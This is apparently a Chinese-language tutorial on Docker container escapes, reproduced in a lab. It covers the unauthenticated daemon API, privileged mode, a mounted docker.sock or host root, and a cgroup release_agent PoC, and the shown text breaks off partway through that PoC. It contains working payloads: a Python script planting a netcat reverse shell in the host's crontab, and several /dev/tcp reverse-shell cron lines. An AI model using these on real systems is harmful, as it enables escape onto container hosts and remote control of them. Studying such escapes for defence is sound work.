浅析docker的多种逃逸方法
![作者头像](https://ask.qcloudimg.com/http-save/yehe-1435649/e1d9eeadc67e9c7d4aa92e585bb416ea.jpeg)
Docker逃逸合集
Docker实现原理: https://zone.huoxian.cn/d/1034-docker
一、Docker逃逸
- 1、docker daemon api未授权访问
-
2、privileged 特权模式启动容器
-
2.1、特权模式与非特权模式的区别
- 2.1.1、Linux Capabilities
- 2.1.2、Linux敏感目录
- 2.1.3、任何内核文件都是可读写
- 2.1.4、AppArmor与Seccomp
- 2.1.5、cgroup读写
- 2.1.6、/dev
- 2.1.7、SELinux
- 2.1.8、参考
-
2.2、复现
- 1、启动特权容器
- 2、挂在宿主机目录
- 3、写crontab 反弹shell
-
2.1、特权模式与非特权模式的区别
-
3、挂载docker.sock
- 3.1、什么是docker.sock
- 3.2、创建docker
- 3.3、复现
- 3.4、反弹shell
-
4、挂载宿主机根目录
- 4.1、反弹shell
-
5、Cgroup执行宿主机系统命令
- 5.1、cgroup
- 5.2、notify_on_release
- 6、runC逃逸-CVE-2019-5736
- 影响版本
- 参考文章
一、Docker逃逸
1、docker daemon api未授权访问
漏洞原理:在使用docker swarm的时候,节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果我们使用HTTP的方式访问会返回404 利用思路:通过挂在宿主机的目录,写定时任务获取SHELL,从而逃逸
git clone https://github.com/vulhub/vulhub.git
![5e981e1bbb07068aec934c2ece464e75.png](https://ask.qcloudimg.com/http-save/yehe-1435649/043ca81c71dc64bb2d7e263a0bf312b4.png)
docker-compose build docker-compose up -d
![159875274e01300198a8b19aea8d4f1b.png](https://ask.qcloudimg.com/http-save/yehe-1435649/a88add98a2bc77f20426fee0a2ae67d6.png)
![682f06268ee7970e1c3e87a0334f0eb6.png](https://ask.qcloudimg.com/http-save/yehe-1435649/dcae3a3b62200cf0e9061af4c7dafc37.png)
docker ps -a | grep rce
![c3aebdef75df8c4c0660726027429596.png](https://ask.qcloudimg.com/http-save/yehe-1435649/ae1eb6d7a3d5a9028f5e9a00bcace28d.png)
访问ip:2375/version
![48852cf4de76a97f252ef9ee628d2179.png](https://ask.qcloudimg.com/http-save/yehe-1435649/6747286849b18b4630d06b86e9a45902.png)
payload
import docker
client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.0.138 1234 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) print(data)
![1e518b5fd5dfa75b5fb86766abe744d0.png](https://ask.qcloudimg.com/http-save/yehe-1435649/507273c5d5d867d8978767c8584343d4.png)
2、privileged 特权模式启动容器
2.1、特权模式与非特权模式的区别
2.1.1、Linux Capabilities
- 普通模式下容器内进程只可以使用有限的一些 Linux Capabilities
在普通模式下可以手动自定义--cap-add参数自定义
- 特权模式下的容器内进程可以使用所有的 linux capabilities
特权模式下,容器内进程拥有使用所有的 linux capabilities 的能力,但是, 不表示进程就一定有使用某些 linux capabilities 的权限。比如,如果容器是以非 root 用户启动的, 就算它是以特权模式启动的容器,也不表示它就能够做一些无权限做的事情
2.1.2、Linux敏感目录
- 普通模式下,部分内核模块路径比如 /proc 下的一些目录需要阻止写入、有些又需要允许读写, 这些文件目录将会以 tmpfs 文件系统的方式挂载到容器中,以实现目录 mask 的需求
- 特权模式下,这些目录将不再以 tmpfs 文件系统的方式挂载
Tips: Tmpfs说明: https://blog.51cto.com/u_11495268/2424414
2.1.3、任何内核文件都是可读写
- 普通模式下,部分内核文件系统(sysfs、procfs)会被以只读的方式挂载到容器中,以阻止容器内进程随意修改系统内核
- 特权模式下,内核文件系统将不再以只读的方式被挂载
2.1.4、AppArmor与Seccomp
Tips
AppArmor: https://www.cnblogs.com/zlhff/p/5464862.html Seccomp: https://en.wikipedia.org/wiki/Seccomp
- 普通模式下,可以通过配置 AppArmor 或 Seccomp 相关安全选项 (如果未配置的话,容器引擎默认也会启用一些对应的默认配置) 对容器进行加固
- 特权模式下,这些 AppArmor 或 Seccomp 相关配置将不再生效
2.1.5、cgroup读写
- 默认模式下,只能以只读模式操作 cgroup
- 特权模式下,将可以对 cgroup 进行读写操作
2.1.6、/dev
- 普通模式下,容器内 /dev 目录下看不到节点 /dev 目录下特有的 devices
- 特权模式下,容器内的 /dev 目录会包含这些 来自 节点 /dev 目录下的那些内容
2.1.7、SELinux
- 特权模式下,SELinux 相关的安全加固配置将被禁用。
- 普通模式下也可以通过对应的安全选项来禁用 SELinux 特性。
2.1.8、参考
2.2、复现
1、启动特权容器
docker run -it --privileged ubuntu:18.04
![5d7d1d1bc3b07e5b159475bf44c5f4a7.png](https://ask.qcloudimg.com/http-save/yehe-1435649/652d83de2777784354d267c7bee86160.png)
2、挂在宿主机目录
fdisk -l
![21bc9fbe973084b5c24471e86f2fc93e.png](https://ask.qcloudimg.com/http-save/yehe-1435649/93b9e1108f99deede13d2fe6be8916c7.png)
可以直接挂载宿主机的磁盘
mkdir uzju mount /dev/sda3 uzju/ chroot /uzju/
![139db44e905168a2acdc0ab94faf7a8e.png](https://ask.qcloudimg.com/http-save/yehe-1435649/3ffc0d3cdbb5b29eda4475c885405e2d.png)
查看宿主机的/etc/passwd
![ee962dc038eb47f6c2bdcd1c6a5d6477.png](https://ask.qcloudimg.com/http-save/yehe-1435649/4f1b7311019912a6744cea0fb91f1650.png)
查看root目录
![21ff8e2822bf4889c9c612b189329243.png](https://ask.qcloudimg.com/http-save/yehe-1435649/331dc9b3373ac653e1837e4d1a624cb7.png)
![47fb1ce3c163036d0490d0e22c7be803.png](https://ask.qcloudimg.com/http-save/yehe-1435649/72c3808a9943fa71159b8f8140612bb8.png)
Tips: chroot命令 chroot命令 用来在指定的根目录下运行指令。chroot,即 change root directory (更改 root 目录)。在 linux 系统中,系统默认的目录结构都是以/,即是以根 (root) 开始的。而在使用 chroot 之后,系统的目录结构将以指定的位置作为/位置。 把根目录换成指定的目的目录
Ps: 在这遇到一个问题 https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/ 参考了这篇文章,但是这篇文章说,使用以下命令 cat /proc/self/status | grep CapEff如果返回的值为0000003fffffffff就是特权模式启动,但是我在我的centos中发现返回的值为0000001fffffffff,我也是特权模式启动
![fdbf5d49fe56f120276fb7058f69a6c2.png](https://ask.qcloudimg.com/http-save/yehe-1435649/5384a51f5178f974549e8daef58f04a5.png)
可是在Centos中的值如下图
![a9df4caf2abe7a07dc7cb651d8e0641e.png](https://ask.qcloudimg.com/http-save/yehe-1435649/e26f835f290840f02783cd541c133070.png)
随后在ubuntu21.10的宿主机系统下载docker镜像ubuntu18.04,查看后发现结果为0000003fffffffff
![a5ae92a9e15fd2aedbee9ba436d1c5ad.png](https://ask.qcloudimg.com/http-save/yehe-1435649/800ebade53d7826a18a3f27cae5c5fb8.png)
通过capsh命令可以看到,为0000001fffffffff和为0000003fffffffff就只相差一点
![edebba0743e25cff396788a45dc8cf21.png](https://ask.qcloudimg.com/http-save/yehe-1435649/2a32cff56fb05b14131932294c87c1fe.png)
3、写crontab 反弹shell
crontab -e * * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/ >&
等待反弹即可
![94ec2cb8b30ffa081d623549d1855a97.png](https://ask.qcloudimg.com/http-save/yehe-1435649/cab5503a059b2b1dd83545d5b3641e83.png)
3、挂载docker.sock
3.1、什么是docker.sock
![61a823d41d2d3bf0911729d22d78fc84.png](https://ask.qcloudimg.com/http-save/yehe-1435649/5640b33523fb3e7a8e6f904b891e2990.png)
/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflow Unix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。
另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。
Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)
3.2、创建docker
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
![401eb30118e548e2332c56fe1b3f8e1a.png](https://ask.qcloudimg.com/http-save/yehe-1435649/58adc699b2e2ebf63f4d047b0dfd0317.png)
随后在docker容器中安装docker
# ubuntu 18.04安装docker
sudo apt-get update
# 安装依赖包
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# 验证您现在是否拥有带有指纹的密钥
sudo apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
$ sudo apt-get update
# 安装最新的Docker-ce
sudo apt-get install docker-ce
sudo systemctl enable docker
sudo systemctl start docker
![a958e3dd569caa77f796d78fd63df88e.png](https://ask.qcloudimg.com/http-save/yehe-1435649/1c96d2b51da0c564c764993ab2119d53.png)
安装完成之后我们使用docker ps就可以看到宿主机上的容器了
3.3、复现
将宿主机的根目录挂载到容器
docker run -it -v /:/uzju ubuntu:18.04 /bin/bash
chroot uzju
![2f36ba1121b7e877ee41e10aa4239602.png](https://ask.qcloudimg.com/http-save/yehe-1435649/50c66e9c1f151f3cce6ae91dd4bf7d0a.png)
可以看到宿主机root目录上的图片,反弹shell也是修改crontab即可
3.4、反弹shell
通过修改Crontab定时任务来反弹shell
crontab -e
* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/ >&
![068556ab6d5160c90d925bee95ab2e9e.png](https://ask.qcloudimg.com/http-save/yehe-1435649/7da13f847b55908d8a8790fea61f0685.png)
![4b34102dc69232f5b171d40c3c339b84.png](https://ask.qcloudimg.com/http-save/yehe-1435649/3e29406d6607cae2e6d5e141184f04f7.png)
![4b34102dc69232f5b171d40c3c339b84.png](https://ask.qcloudimg.com/http-save/yehe-1435649/3e29406d6607cae2e6d5e141184f04f7.png)
4、挂载宿主机根目录
如果在docker启动的时候挂载了宿主机的根目录,就可以通过chroot获取宿主机的权限
docker run -it -v /:/uzju/ ubuntu:18.04 chroot /uzju/
![848f083557c0d2421969154da9e70232.png](https://ask.qcloudimg.com/http-save/yehe-1435649/c206fcc0af7da3695fe8a99da335fab7.png)
4.1、反弹shell
还是一样可以通过crontab反弹shell
* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/ >&
![8a3d3392e72be4b1cfe644e0e634681e.png](https://ask.qcloudimg.com/http-save/yehe-1435649/c4310346cccf478d27fd9bdcd845163d.png)
5、Cgroup执行宿主机系统命令
通过notify_on_release实现容器逃逸 条件
- 以root用户身份在容器内运行
- 使用SYS_ADMINLinux功能运行
- 缺少AppArmor配置文件,否则将允许mountsyscall
- cgroup v1虚拟文件系统必须以读写方式安装在容器内
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04
![4a65dc58560ec7fa42148a6c4adc4ba3.png](https://ask.qcloudimg.com/http-save/yehe-1435649/e1ce9f6e205a128088afc8795447d30b.png)
POC
# In the container
# 挂载宿主机cgroup,自定义一个cgroup,/tmp/cgrp/x
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 设置/tmp/cgrp/x的cgroup的notify_no_release和release_agent
# 设置/tmp/cgrp/x的notify_no_release属性设置为1,通过sed匹配出/etc/mtab中perdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 写入自定义命令